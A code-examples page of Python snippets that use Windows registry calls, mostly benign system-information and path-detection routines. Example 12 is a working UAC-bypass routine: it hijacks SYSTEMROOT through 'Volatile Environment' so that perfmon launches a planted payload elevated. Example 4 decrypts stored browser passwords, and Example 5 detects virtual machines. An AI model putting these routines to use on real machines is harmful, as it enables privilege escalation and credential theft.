Ejemplo n.º 1
0
def RegistryResolve():
    nameservers = []
    x = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
    try:
        y = _winreg.OpenKey(
            x, r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters")
    except EnvironmentError:  # so it isn't NT/2000/XP
        # windows ME, perhaps?
        try:  # for Windows ME
            y = _winreg.OpenKey(
                x, r"SYSTEM\CurrentControlSet\Services\VxD\MSTCP")
            nameserver, dummytype = _winreg.QueryValueEx(y, 'NameServer')
            if nameserver and not (nameserver in nameservers):
                nameservers.extend(stringdisplay(nameserver))
        except EnvironmentError:
            pass
        return nameservers  # no idea
    try:
        nameserver = _winreg.QueryValueEx(y, "DhcpNameServer")[0].split()
    except:
        nameserver = _winreg.QueryValueEx(y, "NameServer")[0].split()
    if nameserver:
        nameservers = nameserver
    nameserver = _winreg.QueryValueEx(y, "NameServer")[0]
    _winreg.CloseKey(y)
    try:  # for win2000
        y = _winreg.OpenKey(
            x,
            r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters"
        )
        for i in range(1000):
            try:
                n = _winreg.EnumKey(y, i)
                z = _winreg.OpenKey(y, n)
                dnscount, dnscounttype = _winreg.QueryValueEx(
                    z, 'DNSServerAddressCount')
                dnsvalues, dnsvaluestype = _winreg.QueryValueEx(
                    z, 'DNSServerAddresses')
                nameservers.extend(binipdisplay(dnsvalues))
                _winreg.CloseKey(z)
            except EnvironmentError:
                break
        _winreg.CloseKey(y)
    except EnvironmentError:
        pass
#
    try:  # for whistler
        y = _winreg.OpenKey(
            x,
            r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces")
        for i in range(1000):
            try:
                n = _winreg.EnumKey(y, i)
                z = _winreg.OpenKey(y, n)
                try:
                    nameserver, dummytype = _winreg.QueryValueEx(
                        z, 'NameServer')
                    if nameserver and not (nameserver in nameservers):
                        nameservers.extend(stringdisplay(nameserver))
                except EnvironmentError:
                    pass
                _winreg.CloseKey(z)
            except EnvironmentError:
                break
        _winreg.CloseKey(y)
    except EnvironmentError:
        #print "Key Interfaces not found, just do nothing"
        pass


#
    _winreg.CloseKey(x)
    return nameservers
Ejemplo n.º 2
0
def GuessVisualStudioPath():
    defaultPath = r'C:\Program Files (x86)\Microsoft Visual Studio 14.0\Common7' \
                  r'\IDE'
    defaultExecutable = 'devenv.com'

    if not IsWindows():
        return (defaultPath, defaultExecutable)

    keyNamesAndExecutables = [
        # Pair for non-Express editions.
        (GetWindowsRegistryKeyName(r'Microsoft\VisualStudio'), 'devenv.com'),
        # Pair for 2012 Express edition.
        (GetWindowsRegistryKeyName(r'Microsoft\VSWinExpress'),
         'VSWinExpress.exe'),
        # Pair for pre-2012 Express editions.
        (GetWindowsRegistryKeyName(r'Microsoft\VCExpress'), 'VCExpress.exe')
    ]

    bestGuess = (0.0, (defaultPath, defaultExecutable))

    import _winreg
    for (keyName, executable) in keyNamesAndExecutables:
        try:
            key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, keyName)
        except WindowsError:
            # Can't find this key - moving on the next one.
            continue

        try:
            subkeyCounter = 0
            while True:
                try:
                    subkeyName = _winreg.EnumKey(key, subkeyCounter)
                    subkeyCounter += 1
                except WindowsError:
                    # Reached end of enumeration. Moving on the next key.
                    break

                match = re.match(r'^\d+\.\d+$', subkeyName)
                if match:
                    with _winreg.OpenKey(key, subkeyName) as subkey:
                        try:
                            (installDir, registrytype) = _winreg.QueryValueEx(
                                subkey, 'InstallDir')
                        except WindowsError:
                            # Can't find value under the key - continue to the next key.
                            continue
                        isExpress = executable != 'devenv.com'
                        if not isExpress and subkeyName == '14.0':
                            # Stop search since if we found non-Express VS2015 version
                            # installed, which is preferred version.
                            return installDir, executable

                        version = float(subkeyName)
                        # We prefer higher version of Visual Studio and given equal
                        # version numbers we prefer non-Express edition.
                        if version > bestGuess[0]:
                            bestGuess = (version, (installDir, executable))
        finally:
            _winreg.CloseKey(key)
    return bestGuess[1]
Ejemplo n.º 3
0
    if returncode == 0 and len(output) > 0:
        returncode, output = run_and_get_stdout([
            'wmic', 'cpu', 'get',
            'Name,CurrentClockSpeed,L2CacheSize,L3CacheSize,Description,Caption,Manufacturer',
            '/format:list'
        ])
        if returncode == 0 and len(output) > 0:
            print_output(
                'wmic cpu get Name,CurrentClockSpeed,L2CacheSize,L3CacheSize,Description,Caption,Manufacturer /format:list',
                output)

if 'winreg' in sys.modules or '_winreg' in sys.modules:
    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
                         r"Hardware\Description\System\CentralProcessor\0")
    processor_brand = winreg.QueryValueEx(key, "ProcessorNameString")[0]
    winreg.CloseKey(key)
    print_output('winreg processor_brand', processor_brand)

    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
                         r"Hardware\Description\System\CentralProcessor\0")
    vendor_id = winreg.QueryValueEx(key, "VendorIdentifier")[0]
    winreg.CloseKey(key)
    print_output('winreg vendor_id', vendor_id)

    key = winreg.OpenKey(
        winreg.HKEY_LOCAL_MACHINE,
        r"SYSTEM\CurrentControlSet\Control\Session Manager\Environment")
    arch_string_raw = winreg.QueryValueEx(key, "PROCESSOR_ARCHITECTURE")[0]
    winreg.CloseKey(key)
    print_output('winreg arch_string_raw', arch_string_raw)
Ejemplo n.º 4
0
		return urls 

	def history_from_regedit(self):
		urls = []
		try:
			hkey = OpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs')
		except Exception,e:
			print_debug('DEBUG', '{0}'.format(e))
			return []
		
		num = _winreg.QueryInfoKey(hkey)[1]
		for x in range(0, num):
			k = _winreg.EnumValue(hkey, x)
			if k:
				urls.append(k[1])
		_winreg.CloseKey(hkey)
		return urls
		
	def decipher_password(self, cipher_text, u):
		pfound = []
		# deciper the password
		pwd = Win32CryptUnprotectData(cipher_text, u)
		if pwd:
			for i in range(len(pwd)):
				try:
					a = pwd[i:].decode('UTF-16LE')
					a = a.decode('utf-8')
					break
				except Exception, e:
					result = ''
		
Ejemplo n.º 5
0
# coding: UTF-8

import _winreg

handle = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,
                         'SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum')

try:
    reg_val = _winreg.QueryValueEx(handle, '0')[0]

    if "VMware" in reg_val:
        print "Vmware Detected"
    elif "VBOX" in reg_val:
        print "Virtualbox Detected"

finally:
    _winreg.CloseKey(handle)
Ejemplo n.º 6
0
def _is_chromium():  ##
    try:
        import _winreg as winreg  # Python 2
    except ImportError:
        import winreg  # Python 3

    try:
        net_key = winreg.OpenKey(
            winreg.HKEY_LOCAL_MACHINE,
            r'SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full')
        version, _ = winreg.QueryValueEx(net_key, 'Release')
        try:
            # runtime
            windows_key = winreg.OpenKey(
                winreg.HKEY_LOCAL_MACHINE,
                r'SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}'
            )
            build, _ = winreg.QueryValueEx(windows_key, 'pv')
            build = int(build.replace('.', '')[:6])
            return version >= 394802 and build >= 860622  # .NET 4.6.2 + Webview2 86.0.622.0
        except:
            build = 0
        try:
            # edge beta
            windows_key = winreg.OpenKey(
                winreg.HKEY_LOCAL_MACHINE,
                r'SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{2CD8A007-E189-409D-A2C8-9AF4EF3C72AA}'
            )
            build, _ = winreg.QueryValueEx(windows_key, 'pv')
            build = int(build.replace('.', '')[:6])
            return version >= 394802 and build >= 860622  # .NET 4.6.2 + Webview2 86.0.622.0
        except:
            build = 0
        try:
            # edge dev
            windows_key = winreg.OpenKey(
                winreg.HKEY_LOCAL_MACHINE,
                r'SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{0D50BFEC-CD6A-4F9A-964C-C7416E3ACB10}'
            )
            build, _ = winreg.QueryValueEx(windows_key, 'pv')
            build = int(build.replace('.', '')[:6])
            return version >= 394802 and build >= 860622  # .NET 4.6.2 + Webview2 86.0.622.0
        except:
            build = 0
        try:
            # edge canary
            windows_key = winreg.OpenKey(
                winreg.HKEY_LOCAL_MACHINE,
                r'SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{65C35B14-6C1D-4122-AC46-7148CC9D6497}'
            )
            build, _ = winreg.QueryValueEx(windows_key, 'pv')
            build = int(build.replace('.', '')[:6])
            return version >= 394802 and build >= 860622  # .NET 4.6.2 + Windows 10 1803
        except:
            build = 0

        return version >= 394802 and build >= 86062200  # .NET 4.6.2 + Windows 10 1803
    except Exception as e:
        logger.exception(e)
        return False
    finally:
        winreg.CloseKey(net_key)
Ejemplo n.º 7
0
    def autodetect_pg_config_path_windows(self):
        # Find the first PostgreSQL installation listed in the registry and
        # return the full path to its pg_config utility.
        #
        # This autodetection is performed *only* if the following conditions
        # hold:
        #
        # 1) The pg_config utility is not already available on the PATH:
        if os.popen('pg_config').close() is None:  # .close()->None == success
            return None
        # 2) The user has not specified any of the following settings in
        #    setup.cfg:
        #     - pg_config
        #     - include_dirs
        #     - library_dirs
        for settingName in ('pg_config', 'include_dirs', 'library_dirs'):
            try:
                val = parser.get('build_ext', settingName)
            except ConfigParser.NoOptionError:
                pass
            else:
                if val.strip() != '':
                    return None
        # end of guard conditions

        import _winreg

        pg_inst_base_dir = None
        pg_config_path = None

        reg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
        try:
            pg_inst_list_key = _winreg.OpenKey(
                reg, 'SOFTWARE\\PostgreSQL\\Installations')
        except EnvironmentError:
            pg_inst_list_key = None

        if pg_inst_list_key is not None:
            try:
                # Determine the name of the first subkey, if any:
                try:
                    first_sub_key_name = _winreg.EnumKey(pg_inst_list_key, 0)
                except EnvironmentError:
                    first_sub_key_name = None

                if first_sub_key_name is not None:
                    pg_first_inst_key = _winreg.OpenKey(
                        reg, 'SOFTWARE\\PostgreSQL\\Installations\\' +
                        first_sub_key_name)
                    try:
                        pg_inst_base_dir = _winreg.QueryValueEx(
                            pg_first_inst_key, 'Base Directory')[0]
                    finally:
                        _winreg.CloseKey(pg_first_inst_key)
            finally:
                _winreg.CloseKey(pg_inst_list_key)

        if pg_inst_base_dir and os.path.exists(pg_inst_base_dir):
            pg_config_path = os.path.join(pg_inst_base_dir, 'bin',
                                          'pg_config.exe')
            # Support unicode paths, if this version of Python provides the
            # necessary infrastructure:
            if hasattr(sys, 'getfilesystemencoding'):
                pg_config_path = pg_config_path.encode(
                    sys.getfilesystemencoding())

        return pg_config_path
Ejemplo n.º 8
0
def sopstreams(name, iconimage, sop):
    if not iconimage:
        iconimage = os.path.join(addonpath, 'resources', 'art',
                                 'sopcast_logo.jpg')
    if "sop://" not in sop: sop = "sop://broker.sopcast.com:3912/" + sop
    else: pass
    print("Starting Player Sop URL: " + str(sop))
    labelname = name
    if settings.getSetting('addon_history') == "true":
        try:
            add_to_history(labelname, str(sop), 2, iconimage)
        except:
            pass
    if not xbmc.getCondVisibility('system.platform.windows'):
        if xbmc.getCondVisibility(
                'System.Platform.Android') or settings.getSetting(
                    'force_android') == "true":
            if settings.getSetting('external-sopcast') == "0":
                versionNumber = int(
                    xbmc.getInfoLabel("System.BuildVersion")[0:2])
                if versionNumber >= 13:
                    xbmc.executebuiltin(
                        'XBMC.StartAndroidActivity("org.sopcast.android","android.intent.action.VIEW","",'
                        + sop + ')')
                else:
                    mensagemok(translate(40000), translate(40196),
                               translate(40197))
            else:
                sopstreams_builtin(name, iconimage, sop)
        else:
            sopstreams_builtin(name, iconimage, sop)
    else:
        cmd = ['sc', 'sdshow', 'sopcastp2p']
        import subprocess
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
        config = True
        for line in proc.stdout:
            if " 1060:" in line.rstrip():
                config = False
                print("Sopcast configuration is not done!")
        if config == False:
            mensagemok(translate(40000), translate(40180), translate(40181),
                       translate(40182))
        else:
            import _winreg
            aReg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)

            #Dirty hack to break sopcast h264 codec so double sound can be avoided

            try:
                aKey = _winreg.OpenKey(aReg,
                                       r'SOFTWARE\SopCast\Player\InstallPath',
                                       0, _winreg.KEY_READ)
                name, value, type = _winreg.EnumValue(aKey, 0)
                codec_file = os.path.join(
                    os.path.join(value.replace("SopCast.exe", "")), 'codec',
                    'sop.ocx')
                _winreg.CloseKey(aKey)
                if xbmcvfs.exists(codec_file):
                    xbmcvfs.rename(
                        codec_file,
                        os.path.join(
                            os.path.join(value.replace("SopCast.exe", "")),
                            'codec', 'sop.ocx.old'))
            except:
                pass
            aReg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
            aKey = _winreg.OpenKey(
                aReg,
                r'SYSTEM\CurrentControlSet\Services\sopcastp2p\Parameters', 3,
                _winreg.KEY_WRITE)
            _winreg.SetValueEx(aKey, "AppParameters", 0, _winreg.REG_SZ, sop)
            _winreg.CloseKey(aKey)
            cmd = ['sc', 'start', 'sopcastp2p']
            import subprocess
            proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
            servicecreator = False
            for line in proc.stdout:
                print("result line: " + line.rstrip())
            res = handle_wait_socket(int(settings.getSetting('socket_time')),
                                     translate(40000), translate(40183))

            if res == True:
                print("Server created - waiting x seconds for confirmation")
                try:
                    sock.close()
                except:
                    pass
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                handle_wait(int(settings.getSetting('stream_time')),
                            translate(40000),
                            translate(40184),
                            segunda='')
                try:
                    result = sock.connect(('127.0.0.1', 8902))
                    connected = True
                except:
                    connected = False
                if connected == True:
                    playlist = xbmc.PlayList(1)
                    playlist.clear()
                    listitem = xbmcgui.ListItem(labelname,
                                                iconImage=iconimage,
                                                thumbnailImage=iconimage)
                    listitem.setLabel(labelname)
                    listitem.setInfo("Video", {"Title": labelname})
                    listitem.setProperty('mimetype', 'video/x-msvideo')
                    listitem.setProperty('IsPlayable', 'true')
                    windows_sop_url = "http://127.0.0.1:8902/tv.asf"
                    listitem.setPath(path=windows_sop_url)
                    playlist.add(windows_sop_url, listitem)
                    xbmcplugin.setResolvedUrl(int(sys.argv[1]), True, listitem)
                    player = SopWindowsPlayer()
                    if int(sys.argv[1]) < 0:
                        player.play(playlist)
                    while player._playbackLock:
                        xbmc.sleep(5000)
                else:
                    xbmc.executebuiltin("Notification(%s,%s,%i,%s)" %
                                        (translate(40000), translate(40040), 1,
                                         os.path.join(addonpath, "icon.png")))
            else:
                xbmc.executebuiltin("Notification(%s,%s,%i,%s)" %
                                    (translate(40000), translate(40040), 1,
                                     os.path.join(addonpath, "icon.png")))
            print("Player reached the end")
            cmd = ['sc', 'stop', 'sopcastp2p']
            import subprocess
            proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
            servicecreator = False
            for line in proc.stdout:
                print("result line" + line.rstrip())
    #dirty hack to break sopcast.exe player codec - renaming the file later
            import _winreg
            aReg = _winreg.ConnectRegistry(None, _winreg.HKEY_LOCAL_MACHINE)
            try:
                aKey = _winreg.OpenKey(aReg,
                                       r'SOFTWARE\SopCast\Player\InstallPath',
                                       0, _winreg.KEY_READ)
                name, value, type = _winreg.EnumValue(aKey, 0)
                codec_file = os.path.join(
                    os.path.join(value.replace("SopCast.exe", "")), 'codec',
                    'sop.ocx.old')
                _winreg.CloseKey(aKey)
                if xbmcvfs.exists(codec_file):
                    xbmcvfs.rename(
                        codec_file,
                        os.path.join(
                            os.path.join(value.replace("SopCast.exe", "")),
                            'codec', 'sop.ocx'))
            except:
                pass
Ejemplo n.º 9
0
def get_cpu_info_from_registry():
    '''
	FIXME: Is missing many of the newer CPU flags like sse3
	Returns the CPU info gathered from the Windows Registry. Will return None if
	not on Windows.
	'''
    global is_windows

    # Just return None if not on Windows
    if not is_windows:
        return None

    try:
        import _winreg as winreg
    except ImportError as err:
        import winreg

    # Get the CPU name
    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
                         r"Hardware\Description\System\CentralProcessor\0")
    processor_brand = winreg.QueryValueEx(key, "ProcessorNameString")[0]
    winreg.CloseKey(key)

    # Get the CPU vendor id
    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
                         r"Hardware\Description\System\CentralProcessor\0")
    vendor_id = winreg.QueryValueEx(key, "VendorIdentifier")[0]
    winreg.CloseKey(key)

    # Get the CPU arch and bits
    key = winreg.OpenKey(
        winreg.HKEY_LOCAL_MACHINE,
        r"SYSTEM\CurrentControlSet\Control\Session Manager\Environment")
    raw_arch_string = winreg.QueryValueEx(key, "PROCESSOR_ARCHITECTURE")[0]
    winreg.CloseKey(key)
    arch, bits = parse_arch(raw_arch_string)

    # Get the actual CPU Hz
    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
                         r"Hardware\Description\System\CentralProcessor\0")
    hz_actual = winreg.QueryValueEx(key, "~Mhz")[0]
    winreg.CloseKey(key)
    hz_actual = to_hz_string(hz_actual)

    # Get the advertised CPU Hz
    scale, hz_advertised = _get_hz_string_from_brand(processor_brand)

    # Get the CPU features
    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,
                         r"Hardware\Description\System\CentralProcessor\0")
    feature_bits = winreg.QueryValueEx(key, "FeatureSet")[0]
    winreg.CloseKey(key)

    def is_set(bit):
        mask = 0x80000000 >> bit
        retval = mask & feature_bits > 0
        return retval

    # http://en.wikipedia.org/wiki/CPUID
    # http://unix.stackexchange.com/questions/43539/what-do-the-flags-in-proc-cpuinfo-mean
    # http://www.lohninger.com/helpcsuite/public_constants_cpuid.htm
    flags = {
        'fpu': is_set(0),  # Floating Point Unit
        'vme': is_set(1),  # V86 Mode Extensions
        'de': is_set(2),  # Debug Extensions - I/O breakpoints supported
        'pse': is_set(3),  # Page Size Extensions (4 MB pages supported)
        'tsc':
        is_set(4),  # Time Stamp Counter and RDTSC instruction are available
        'msr': is_set(5),  # Model Specific Registers
        'pae':
        is_set(6),  # Physical Address Extensions (36 bit address, 2MB pages)
        'mce': is_set(7),  # Machine Check Exception supported
        'cx8': is_set(8),  # Compare Exchange Eight Byte instruction available
        'apic':
        is_set(9),  # Local APIC present (multiprocessor operation support)
        'sepamd': is_set(10),  # Fast system calls (AMD only)
        'sep': is_set(11),  # Fast system calls
        'mtrr': is_set(12),  # Memory Type Range Registers
        'pge': is_set(13),  # Page Global Enable
        'mca': is_set(14),  # Machine Check Architecture
        'cmov': is_set(15),  # Conditional MOVe instructions
        'pat': is_set(16),  # Page Attribute Table
        'pse36': is_set(17),  # 36 bit Page Size Extensions
        'serial': is_set(18),  # Processor Serial Number
        'clflush': is_set(19),  # Cache Flush
        #'reserved1' : is_set(20), # reserved
        'dts': is_set(21),  # Debug Trace Store
        'acpi': is_set(22),  # ACPI support
        'mmx': is_set(23),  # MultiMedia Extensions
        'fxsr': is_set(24),  # FXSAVE and FXRSTOR instructions
        'sse': is_set(25),  # SSE instructions
        'sse2': is_set(26),  # SSE2 (WNI) instructions
        'ss': is_set(27),  # self snoop
        #'reserved2' : is_set(28), # reserved
        'tm': is_set(29),  # Automatic clock control
        'ia64': is_set(30),  # IA64 instructions
        '3dnow': is_set(31)  # 3DNow! instructions available
    }

    # Get a list of only the flags that are true
    flags = [k for k, v in flags.items() if v]
    flags.sort()

    return {
        'vendor_id': vendor_id,
        'brand': processor_brand,
        'hz_advertised': to_friendly_hz(hz_advertised, scale),
        'hz_actual': to_friendly_hz(hz_actual, 6),
        'hz_advertised_raw': to_raw_hz(hz_advertised, scale),
        'hz_actual_raw': to_raw_hz(hz_actual, 6),
        'arch': arch,
        'bits': bits,
        'count': multiprocessing.cpu_count(),
        'raw_arch_string': raw_arch_string,
        'l2_cache_size': 0,
        'l2_cache_line_size': 0,
        'l2_cache_associativity': 0,
        'stepping': 0,
        'model': 0,
        'family': 0,
        'processor_type': 0,
        'extended_model': 0,
        'extended_family': 0,
        'flags': flags
    }
Ejemplo n.º 10
0
 def getKeyValue(self):
     self.PyHKEY = self.getKey()
     self.installPath = _winreg.QueryValueEx(self.PyHKEY, self.valueName)[0]
     _winreg.CloseKey(self.PyHKEY)
     return self.installPath
def triage(tool_server, output_server, silent):
    """ Triage collection module """

    createt = strftime('%Y%m%d%H%M%S', gmtime())  # Timestamp in GMT
    smb_bin = tool_server + r'\tools'  # TOOLS Read-only share with third-party binary tools

    smb_data = output_server + r'\data' + r'\triage-' + os.environ[
        'COMPUTERNAME'] + r'\\' + createt  # DATA Write-only share for output data
    if not os.path.exists(r'\\' + smb_data):
        os.makedirs(r'\\' + smb_data)

    if not silent:
        print '\nSaving output to ' + r'\\' + smb_data
    """ Add your list of Sysinternal / third-party / BATCH files here """

    tool = (
        'systeminfo.cmd',  # Gathers systeminfo
        'set.cmd',  # Gathers Set variables
        'dir-tree.cmd',  # Enumerates C:\ directory tree
        'ipconfig.cmd',  # Gathers IP information
        'ip-routes.cmd',  # Gathers IP routing information
        'arp.cmd',  # Gathers ARP table information
        'dns.cmd',  # Gathers DNS Cache information
        'users.cmd',  # Gathers User/local Admin accounts
        'shares.cmd',  # Gathers local shares information
        'firewall.cmd',  # Gathers local firewall information
        'hosts.cmd',  # Captures Host file information
        'sessions.cmd',  # Gathers Active Session information
        'nbtstat.cmd',  # Gathers NetBios Sessions information
        'netstat.cmd',  # Gathers Netstat with process IDs
        'services.cmd',  # Gathers services information
        'process-list.cmd',  # Gathers WMIC Proccess list full
        'tasklist.cmd',  # Gathers Tasklist /m information
        'at-schtasks.cmd',  # Gathers scheduled tasks information
        'startup-list.cmd',  # Gathers WMIC Startup list full
        'zRemote.bat',
        'psinfo.exe /accepteula',  # Gathers basic system information
        'diskext.exe /accepteula',  # Gathers disks mounted
        'logonsessions.exe /p /accepteula',  # Gathers logon sessions and process running in them
        'psfile.exe /accepteula',  # Gathers if any files are opened remotely
        'psloggedon.exe -p /accepteula',  # Gathers all logon sessions with running processes
        'psloglist.exe -d 1 /accepteula',  # Gathers all events since in the last day
        'pslist.exe -t /accepteula',  # Gather system process tree
        'psservice.exe /accepteula',  # Gathers all the services information
        'tcpvcon.exe -a /accepteula',  # Gathers TCP/UDP connections
        'handle.exe -a -u /accepteula',  # Gathers what files are open by what processes and more
        # Gathers all DLLs not loaded in base address, unsigned and shows version information') #Runs local commands via a batch file in the tools directory.
        'listdlls.exe -r -u -v /accepteula',
        'autorunsc.exe -a * -ct -h /accepteula',  # Gathers all the autoruns service points
    )
    """ BATCH files must be called with the .bat extension """

    with open(
            r'\\' + smb_data + r'\\' + createt + '-' +
            os.environ['COMPUTERNAME'] + '-' + 'sha256-hashing.log', 'a') as g:
        for task in tool:  # Iterates over the list of commands

            fullcommand = task.split()
            commandname = fullcommand[0].split('.')

            if not silent:
                print '\nSaving output of ' + task + ' to '+r'\\'+smb_data+r'\\'+createt+'-'+os.environ['COMPUTERNAME']\
                    + '-'+commandname[0]+'.log\n'

            f = open(
                r'\\' + smb_data + r'\\' + createt + '-' +
                os.environ['COMPUTERNAME'] + '-' + commandname[0] + '.log',
                'w')

            pst = subprocess.call(r'\\' + smb_bin + r'\\' + task, stdout=f)

            g.write("%s - %s \n\n" % (f.name, hashfile(f.name)))

        guid = ""
        resul = ""
        try:
            arq = platform.architecture()
            res = arq[0]
            if (res == "32bit"):
                # x32
                hKey = _winreg.OpenKey(
                    _winreg.HKEY_LOCAL_MACHINE,
                    r"SOFTWARE\Network Associates\ePolicy Orchestrator\Agent")
                if (hKey != 0):
                    result = _winreg.QueryValueEx(hKey, "AgentGUID")
                    _winreg.CloseKey(hKey)
                    guid = result[0]
            else:
                # x64
                hKey2 = _winreg.OpenKey(
                    _winreg.HKEY_LOCAL_MACHINE,
                    r"SOFTWARE\Wow6432Node\Network Associates\ePolicy Orchestrator\Agent"
                )
                if (hKey2 != 0):
                    result = _winreg.QueryValueEx(hKey2, "AgentGUID")
                    _winreg.CloseKey(hKey2)
                    guid = result[0]

            smb_data = r'\\' + output_server + r'\data' + r'\triage-' + os.environ[
                'COMPUTERNAME'] + r'\\' + createt
            if not os.path.exists(smb_data):
                os.makedirs(smb_data)

            print '\nSaving output to ' + smb_data

            filen = createt + "-" + os.environ[
                'COMPUTERNAME'] + "-" + 'agentid.txt'
            f = sys.stdout
            sys.stdout = open(os.path.join(smb_data, filen), 'w')
            print result[0]
            sys.stdout = f

        except:
            print "Agent not installed"
            pass
Ejemplo n.º 12
0
def perfmon(payload):
    if (payloads().exe(payload) == True):
        try:
            key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,
                                    os.path.join("Volatile Environment"))
            _winreg.SetValueEx(key, "SYSTEMROOT", 0, _winreg.REG_SZ,
                               tempfile.gettempdir())
            _winreg.CloseKey(key)
        except Exception as error:
            print_error(
                "Unable to create registry keys, exception was raised: {}".
                format(error))
            return False
        else:
            print_success(
                "Successfully created SYSTEMROOT key containing a new temp directory ({})"
                .format(os.path.join(tempfile.gettempdir())))

        try:
            if ((os.path.exists(os.path.join(tempfile.gettempdir(),
                                             "system32"))) == True):
                if ((os.path.isfile(
                        os.path.join(tempfile.gettempdir(),
                                     "system32\mmc.exe"))) == True):
                    try:
                        os.remove(
                            os.path.join(tempfile.gettempdir(),
                                         "system32\mmc.exe"))
                    except Exception as error:
                        return False
                    try:
                        os.rmdir(
                            os.path.join(tempfile.gettempdir(), "system32"))
                    except Exception as error:
                        return False
                else:
                    try:
                        os.rmdir(
                            os.path.join(tempfile.gettempdir(), "system32"))
                    except Exception as error:
                        return False
            else:
                pass
        except Exception as error:
            return False

        try:
            os.makedirs(os.path.join(tempfile.gettempdir(), "system32"))
        except Exception as error:
            return False

        time.sleep(5)

        try:
            shutil.copy(
                payload, os.path.join(tempfile.gettempdir(),
                                      "system32\mmc.exe"))
        except shutil.Error as error:
            return False
        except IOError as error:
            return False

        time.sleep(5)

        print_info("Disabling file system redirection")
        with disable_fsr():
            print_success("Successfully disabled file system redirection")
            if (os.system("perfmon.exe") == 0):
                print_success(
                    "Successfully spawned process ({})".format(payload))
            else:
                print_error("Unable to spawn process ({})".format(
                    os.path.join(payload)))

        time.sleep(5)

        try:
            key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,
                                    os.path.join("Volatile Environment"))
            _winreg.DeleteValue(key, "SYSTEMROOT")
        except Exception as error:
            print_error("Unable to cleanup")
            return False
        else:
            print_success("Successfully cleaned up, enjoy!")
    else:
        print_error("Cannot proceed, invalid payload")
        return False
Ejemplo n.º 13
0
 def remove(name):
     """delete a autostart entry"""
     key = get_runkey()
     _winreg.DeleteValue(key, name)
     _winreg.CloseKey(key)
def main(argv):

    import _winreg as wr
    licenseKey = None
    aReg = wr.ConnectRegistry(None, wr.HKEY_LOCAL_MACHINE)
    aKey = None
    try:
        targ = r'SOFTWARE\Microsoft\Windows\FlightPlannerLicense'
        print "*** Reading from", targ, "***"
        aKey = wr.OpenKey(aReg, targ)
        try:
            n, v, t = wr.EnumValue(aKey, 0)
            if n == "License":
                licenseKey = v
                print licenseKey
        except:
            print "no license"
        finally:
            try:
                wr.CloseKey(aKey)
            except:
                pass
    except:
        print "no License trag"
    finally:
        try:
            wr.CloseKey(aReg)
        except:
            pass
        app = QApplication(argv)
        QgsApplication.setPrefixPath(".", True)
        a = QgsApplication.initQgis()

        # f = file("D:/ccc.txt", "w")
        # ss = ["sfdffdsf", "233424324", "sdfsdfs"]
        # f.write("start")
        # f.writelines(ss)
        # f.close()

        print "File print End"
        licenceFlag = False
        if licenseKey != None:

            print "Compare Start"
            objValidate = Validate()
            print "aerodrome$pw3s$Pa$$W0rd"
            objValidate.secretPhase = "aerodrome$pw3s$Pa$$W0rd"
            # GlobalSettings objSetting = GlobalSettings.Load(Constants.globaleSettingsPath);
            objValidate.Key = String.QString2Str(QString(licenseKey)).replace(
                "-", "")
            print objValidate.Key
            # objValidate.Key = "IVAII-UTDIE-HGIEG-WMVOG"
            try:
                if (objValidate.IsValid and objValidate.IsOnRightMachine
                        and objValidate.SetTime >= objValidate.DaysLeft
                    ):  # and objValidate.IsExpired == False ):
                    licenceFlag = True
            except:
                pass
        print licenceFlag
        # if not licenceFlag:
        #     dlgLicensing = DlgLicensing()
        #     licenceFlag = dlgLicensing.exec_()
        # if licenceFlag:
        #     print "Start  MyWnd"
        define._appWidth = QApplication.desktop().screenGeometry().width()
        define._appHeight = QApplication.desktop().screenGeometry().height()

        window = MyWnd()
        window.setWindowState(Qt.WindowMaximized)
        window.show()
        retval = app.exec_()

        AirCraftOperation.g_AppSetting.WriteSettings()
        if retval:
            pass
        QgsApplication.exitQgis()
        sys.exit(retval)
Ejemplo n.º 15
0
            pass
    if not k:
        # couldn't open either WinNT or Win98 key???
        return glob.glob(os.path.join(fontDirectory, '*.ttf'))
    try:
        # should check that k is valid? How?
        for index in range(_winreg.QueryInfoKey(k)[1]):
            key, value, _ = _winreg.EnumValue(k, index)
            if not os.path.dirname(value):
                value = os.path.join(fontDirectory, value)
            value = os.path.abspath(value).lower()
            if value[-4:] == '.ttf':
                items[value] = 1
        return items.keys()
    finally:
        _winreg.CloseKey(k)


def linuxFontDirectories():
    """ Get system font directories on Linux/Unix
    
        Uses /usr/sbin/chkfontpath to get the list
        of system-font directories, note that many
        of these will *not* be truetype font directories.

        If /usr/sbin/chkfontpath isn't available, uses
        returns a set of common Linux/Unix paths. """
    executable = '/usr/sbin/chkfontpath'
    if os.path.isfile(executable):
        data = os.popen(executable).readlines()
        match = re.compile('\d+: (.+)')
Ejemplo n.º 16
0
def open_key(hkey, *args):
    key = winreg.OpenKeyEx(hkey, *args)
    yield key
    winreg.CloseKey(key)
